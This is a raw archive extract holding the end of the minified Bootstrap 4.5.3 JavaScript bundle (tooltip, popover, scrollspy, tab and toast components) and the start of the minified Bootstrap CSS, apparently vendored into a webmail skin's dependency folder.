a({},{placement:t,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:".arrow"},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}},this.config.popperConfig)},e._getOffset=function(){var t=this,e={};return"function"==typeof this.config.offset?e.fn=function(e){return e.offsets=a({},e.offsets,t.config.offset(e.offsets,t.element)||{}),e}:e.offset=this.config.offset,e},e._getContainer=function(){return!1===this.config.container?document.body:l.isElement(this.config.container)?i.default(this.config.container):i.default(document).find(this.config.container)},e._getAttachment=function(t){return $t[t.toUpperCase()]},e._setListeners=function(){var t=this;this.config.trigger.split(" ").forEach((function(e){if("click"===e)i.default(t.element).on(t.constructor.Event.CLICK,t.config.selector,(function(e){return t.toggle(e)}));else if("manual"!==e){var n="hover"===e?t.constructor.Event.MOUSEENTER:t.constructor.Event.FOCUSIN,o="hover"===e?t.constructor.Event.MOUSELEAVE:t.constructor.Event.FOCUSOUT;i.default(t.element).on(n,t.config.selector,(function(e){return t._enter(e)})).on(o,t.config.selector,(function(e){return t._leave(e)}))}})),this._hideModalHandler=function(){t.element&&t.hide()},i.default(this.element).closest(".modal").on("hide.bs.modal",this._hideModalHandler),this.config.selector?this.config=a({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},e._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},e._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||i.default(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),i.default(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?"focus":"hover"]=!0),i.default(e.getTipElement()).hasClass("show")||"show"===e._hoverState?e._hoverState="show":(clearTimeout(e._timeout),e._hoverState="show",e.config.delay&&e.config.delay.show?e._timeout=setTimeout((function(){"show"===e._hoverState&&e.show()}),e.config.delay.show):e.show())},e._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||i.default(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),i.default(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?"focus":"hover"]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState="out",e.config.delay&&e.config.delay.hide?e._timeout=setTimeout((function(){"out"===e._hoverState&&e.hide()}),e.config.delay.hide):e.hide())},e._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},e._getConfig=function(t){var e=i.default(this.element).data();return Object.keys(e).forEach((function(t){-1!==Kt.indexOf(t)&&delete e[t]})),"number"==typeof(t=a({},this.constructor.Default,e,"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),l.typeCheckConfig(Yt,t,this.constructor.DefaultType),t.sanitize&&(t.template=Vt(t.template,t.whiteList,t.sanitizeFn)),t},e._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},e._cleanTipClass=function(){var t=i.default(this.getTipElement()),e=t.attr("class").match(Xt);null!==e&&e.length&&t.removeClass(e.join(""))},e._handlePopperPlacementChange=function(t){this.tip=t.instance.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},e._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(i.default(t).removeClass("fade"),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},t._jQueryInterface=function(e){return this.each((function(){var n=i.default(this),o=n.data("bs.tooltip"),r="object"==typeof e&&e;if((o||!/dispose|hide/.test(e))&&(o||(o=new t(this,r),n.data("bs.tooltip",o)),"string"==typeof e)){if("undefined"==typeof o[e])throw new TypeError('No method named "'+e+'"');o[e]()}}))},r(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return Jt}},{key:"NAME",get:function(){return Yt}},{key:"DATA_KEY",get:function(){return"bs.tooltip"}},{key:"Event",get:function(){return Zt}},{key:"EVENT_KEY",get:function(){return".bs.tooltip"}},{key:"DefaultType",get:function(){return Gt}}]),t}();i.default.fn[Yt]=te._jQueryInterface,i.default.fn[Yt].Constructor=te,i.default.fn[Yt].noConflict=function(){return i.default.fn[Yt]=zt,te._jQueryInterface};var ee="popover",ne=i.default.fn[ee],ie=new RegExp("(^|\\s)bs-popover\\S+","g"),oe=a({},te.Default,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'}),re=a({},te.DefaultType,{content:"(string|element|function)"}),ae={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"},se=function(t){var e,n;function o(){return t.apply(this,arguments)||this}n=t,(e=o).prototype=Object.create(n.prototype),e.prototype.constructor=e,e.__proto__=n;var a=o.prototype;return a.isWithContent=function(){return this.getTitle()||this._getContent()},a.addAttachmentClass=function(t){i.default(this.getTipElement()).addClass("bs-popover-"+t)},a.getTipElement=function(){return this.tip=this.tip||i.default(this.config.template)[0],this.tip},a.setContent=function(){var t=i.default(this.getTipElement());this.setElementContent(t.find(".popover-header"),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(".popover-body"),e),t.removeClass("fade show")},a._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},a._cleanTipClass=function(){var t=i.default(this.getTipElement()),e=t.attr("class").match(ie);null!==e&&e.length>0&&t.removeClass(e.join(""))},o._jQueryInterface=function(t){return this.each((function(){var e=i.default(this).data("bs.popover"),n="object"==typeof t?t:null;if((e||!/dispose|hide/.test(t))&&(e||(e=new o(this,n),i.default(this).data("bs.popover",e)),"string"==typeof t)){if("undefined"==typeof e[t])throw new TypeError('No method named "'+t+'"');e[t]()}}))},r(o,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return oe}},{key:"NAME",get:function(){return ee}},{key:"DATA_KEY",get:function(){return"bs.popover"}},{key:"Event",get:function(){return ae}},{key:"EVENT_KEY",get:function(){return".bs.popover"}},{key:"DefaultType",get:function(){return re}}]),o}(te);i.default.fn[ee]=se._jQueryInterface,i.default.fn[ee].Constructor=se,i.default.fn[ee].noConflict=function(){return i.default.fn[ee]=ne,se._jQueryInterface};var le="scrollspy",ue=i.default.fn[le],fe={offset:10,method:"auto",target:""},de={offset:"number",method:"string",target:"(string|element)"},ce=function(){function t(t,e){var n=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(e),this._selector=this._config.target+" .nav-link,"+this._config.target+" .list-group-item,"+this._config.target+" .dropdown-item",this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,i.default(this._scrollElement).on("scroll.bs.scrollspy",(function(t){return n._process(t)})),this.refresh(),this._process()}var e=t.prototype;return e.refresh=function(){var t=this,e=this._scrollElement===this._scrollElement.window?"offset":"position",n="auto"===this._config.method?e:this._config.method,o="position"===n?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),[].slice.call(document.querySelectorAll(this._selector)).map((function(t){var e,r=l.getSelectorFromElement(t);if(r&&(e=document.querySelector(r)),e){var a=e.getBoundingClientRect();if(a.width||a.height)return[i.default(e)[n]().top+o,r]}return null})).filter((function(t){return t})).sort((function(t,e){return t[0]-e[0]})).forEach((function(e){t._offsets.push(e[0]),t._targets.push(e[1])}))},e.dispose=function(){i.default.removeData(this._element,"bs.scrollspy"),i.default(this._scrollElement).off(".bs.scrollspy"),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},e._getConfig=function(t){if("string"!=typeof(t=a({},fe,"object"==typeof t&&t?t:{})).target&&l.isElement(t.target)){var e=i.default(t.target).attr("id");e||(e=l.getUID(le),i.default(t.target).attr("id",e)),t.target="#"+e}return l.typeCheckConfig(le,t,de),t},e._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},e._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},e._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},e._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=n){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t<this._offsets[0]&&this._offsets[0]>0)return this._activeTarget=null,void this._clear();for(var o=this._offsets.length;o--;){this._activeTarget!==this._targets[o]&&t>=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t<this._offsets[o+1])&&this._activate(this._targets[o])}}},e._activate=function(t){this._activeTarget=t,this._clear();var e=this._selector.split(",").map((function(e){return e+'[data-target="'+t+'"],'+e+'[href="'+t+'"]'})),n=i.default([].slice.call(document.querySelectorAll(e.join(","))));n.hasClass("dropdown-item")?(n.closest(".dropdown").find(".dropdown-toggle").addClass("active"),n.addClass("active")):(n.addClass("active"),n.parents(".nav, .list-group").prev(".nav-link, .list-group-item").addClass("active"),n.parents(".nav, .list-group").prev(".nav-item").children(".nav-link").addClass("active")),i.default(this._scrollElement).trigger("activate.bs.scrollspy",{relatedTarget:t})},e._clear=function(){[].slice.call(document.querySelectorAll(this._selector)).filter((function(t){return t.classList.contains("active")})).forEach((function(t){return t.classList.remove("active")}))},t._jQueryInterface=function(e){return this.each((function(){var n=i.default(this).data("bs.scrollspy");if(n||(n=new t(this,"object"==typeof e&&e),i.default(this).data("bs.scrollspy",n)),"string"==typeof e){if("undefined"==typeof n[e])throw new TypeError('No method named "'+e+'"');n[e]()}}))},r(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return fe}}]),t}();i.default(window).on("load.bs.scrollspy.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-spy="scroll"]')),e=t.length;e--;){var n=i.default(t[e]);ce._jQueryInterface.call(n,n.data())}})),i.default.fn[le]=ce._jQueryInterface,i.default.fn[le].Constructor=ce,i.default.fn[le].noConflict=function(){return i.default.fn[le]=ue,ce._jQueryInterface};var he=i.default.fn.tab,pe=function(){function t(t){this._element=t}var e=t.prototype;return e.show=function(){var t=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&i.default(this._element).hasClass("active")||i.default(this._element).hasClass("disabled"))){var e,n,o=i.default(this._element).closest(".nav, .list-group")[0],r=l.getSelectorFromElement(this._element);if(o){var a="UL"===o.nodeName||"OL"===o.nodeName?"> li > .active":".active";n=(n=i.default.makeArray(i.default(o).find(a)))[n.length-1]}var s=i.default.Event("hide.bs.tab",{relatedTarget:this._element}),u=i.default.Event("show.bs.tab",{relatedTarget:n});if(n&&i.default(n).trigger(s),i.default(this._element).trigger(u),!u.isDefaultPrevented()&&!s.isDefaultPrevented()){r&&(e=document.querySelector(r)),this._activate(this._element,o);var f=function(){var e=i.default.Event("hidden.bs.tab",{relatedTarget:t._element}),o=i.default.Event("shown.bs.tab",{relatedTarget:n});i.default(n).trigger(e),i.default(t._element).trigger(o)};e?this._activate(e,e.parentNode,f):f()}}},e.dispose=function(){i.default.removeData(this._element,"bs.tab"),this._element=null},e._activate=function(t,e,n){var o=this,r=(!e||"UL"!==e.nodeName&&"OL"!==e.nodeName?i.default(e).children(".active"):i.default(e).find("> li > .active"))[0],a=n&&r&&i.default(r).hasClass("fade"),s=function(){return o._transitionComplete(t,r,n)};if(r&&a){var u=l.getTransitionDurationFromElement(r);i.default(r).removeClass("show").one(l.TRANSITION_END,s).emulateTransitionEnd(u)}else s()},e._transitionComplete=function(t,e,n){if(e){i.default(e).removeClass("active");var o=i.default(e.parentNode).find("> .dropdown-menu .active")[0];o&&i.default(o).removeClass("active"),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}if(i.default(t).addClass("active"),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),l.reflow(t),t.classList.contains("fade")&&t.classList.add("show"),t.parentNode&&i.default(t.parentNode).hasClass("dropdown-menu")){var r=i.default(t).closest(".dropdown")[0];if(r){var a=[].slice.call(r.querySelectorAll(".dropdown-toggle"));i.default(a).addClass("active")}t.setAttribute("aria-expanded",!0)}n&&n()},t._jQueryInterface=function(e){return this.each((function(){var n=i.default(this),o=n.data("bs.tab");if(o||(o=new t(this),n.data("bs.tab",o)),"string"==typeof e){if("undefined"==typeof o[e])throw new TypeError('No method named "'+e+'"');o[e]()}}))},r(t,null,[{key:"VERSION",get:function(){return"4.5.3"}}]),t}();i.default(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',(function(t){t.preventDefault(),pe._jQueryInterface.call(i.default(this),"show")})),i.default.fn.tab=pe._jQueryInterface,i.default.fn.tab.Constructor=pe,i.default.fn.tab.noConflict=function(){return i.default.fn.tab=he,pe._jQueryInterface};var me=i.default.fn.toast,ge={animation:"boolean",autohide:"boolean",delay:"number"},ve={animation:!0,autohide:!0,delay:500},_e=function(){function t(t,e){this._element=t,this._config=this._getConfig(e),this._timeout=null,this._setListeners()}var e=t.prototype;return e.show=function(){var t=this,e=i.default.Event("show.bs.toast");if(i.default(this._element).trigger(e),!e.isDefaultPrevented()){this._clearTimeout(),this._config.animation&&this._element.classList.add("fade");var n=function(){t._element.classList.remove("showing"),t._element.classList.add("show"),i.default(t._element).trigger("shown.bs.toast"),t._config.autohide&&(t._timeout=setTimeout((function(){t.hide()}),t._config.delay))};if(this._element.classList.remove("hide"),l.reflow(this._element),this._element.classList.add("showing"),this._config.animation){var o=l.getTransitionDurationFromElement(this._element);i.default(this._element).one(l.TRANSITION_END,n).emulateTransitionEnd(o)}else n()}},e.hide=function(){if(this._element.classList.contains("show")){var t=i.default.Event("hide.bs.toast");i.default(this._element).trigger(t),t.isDefaultPrevented()||this._close()}},e.dispose=function(){this._clearTimeout(),this._element.classList.contains("show")&&this._element.classList.remove("show"),i.default(this._element).off("click.dismiss.bs.toast"),i.default.removeData(this._element,"bs.toast"),this._element=null,this._config=null},e._getConfig=function(t){return t=a({},ve,i.default(this._element).data(),"object"==typeof t&&t?t:{}),l.typeCheckConfig("toast",t,this.constructor.DefaultType),t},e._setListeners=function(){var t=this;i.default(this._element).on("click.dismiss.bs.toast",'[data-dismiss="toast"]',(function(){return t.hide()}))},e._close=function(){var t=this,e=function(){t._element.classList.add("hide"),i.default(t._element).trigger("hidden.bs.toast")};if(this._element.classList.remove("show"),this._config.animation){var n=l.getTransitionDurationFromElement(this._element);i.default(this._element).one(l.TRANSITION_END,e).emulateTransitionEnd(n)}else e()},e._clearTimeout=function(){clearTimeout(this._timeout),this._timeout=null},t._jQueryInterface=function(e){return this.each((function(){var n=i.default(this),o=n.data("bs.toast");if(o||(o=new t(this,"object"==typeof e&&e),n.data("bs.toast",o)),"string"==typeof e){if("undefined"==typeof o[e])throw new TypeError('No method named "'+e+'"');o[e](this)}}))},r(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"DefaultType",get:function(){return ge}},{key:"Default",get:function(){return ve}}]),t}();i.default.fn.toast=_e._jQueryInterface,i.default.fn.toast.Constructor=_e,i.default.fn.toast.noConflict=function(){return i.default.fn.toast=me,_e._jQueryInterface},t.Alert=d,t.Button=h,t.Carousel=y,t.Collapse=S,t.Dropdown=Ft,t.Modal=Bt,t.Popover=se,t.Scrollspy=ce,t.Tab=pe,t.Toast=_e,t.Tooltip=te,t.Util=l,Object.defineProperty(t,"__esModule",{value:!0})}));
PKh�\W@Q'[r[r$skins/elastic/deps/bootstrap.min.cssnu�[���/*!
 * Bootstrap v4.5.3 (https://getbootstrap.com/)
 * Copyright 2011-2020 The Bootstrap Authors
 * Copyright 2011-2020 Twitter, Inc.
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
 */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus:not(:focus-visible){outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([class]){color:inherit;text-decoration:none}a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit;text-align:-webkit-match-parent}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:80%;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#6c757d}.blockquote-footer::before{content:"\2014\00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code{font-size:87.5%;color:#e83e8c;word-wrap:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-ms-flex-order:-1;order:-1}.order-last{-ms-flex-order:13;order:13}.order-0{-ms-flex-order:0;order:0}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}.order-3{-ms-flex-order:3;order:3}.order-4{-ms-flex-order:4;order:4}.order-5{-ms-flex-order:5;order:5}.order-6{-ms-flex-order:6;order:6}.order-7{-ms-flex-order:7;order:7}.order-8{-ms-flex-order:8;order:8}.order-9{-ms-flex-order:9;order:9}.order-10{-ms-flex-order:10;order:10}.order-11{-ms-flex-order:11;order:11}.order-12{-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.row-cols-sm-1>*{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-sm-2>*{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-sm-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-sm-4>*{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-sm-5>*{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-sm-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-sm-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-ms-flex:0 0 100%;flex:0 0 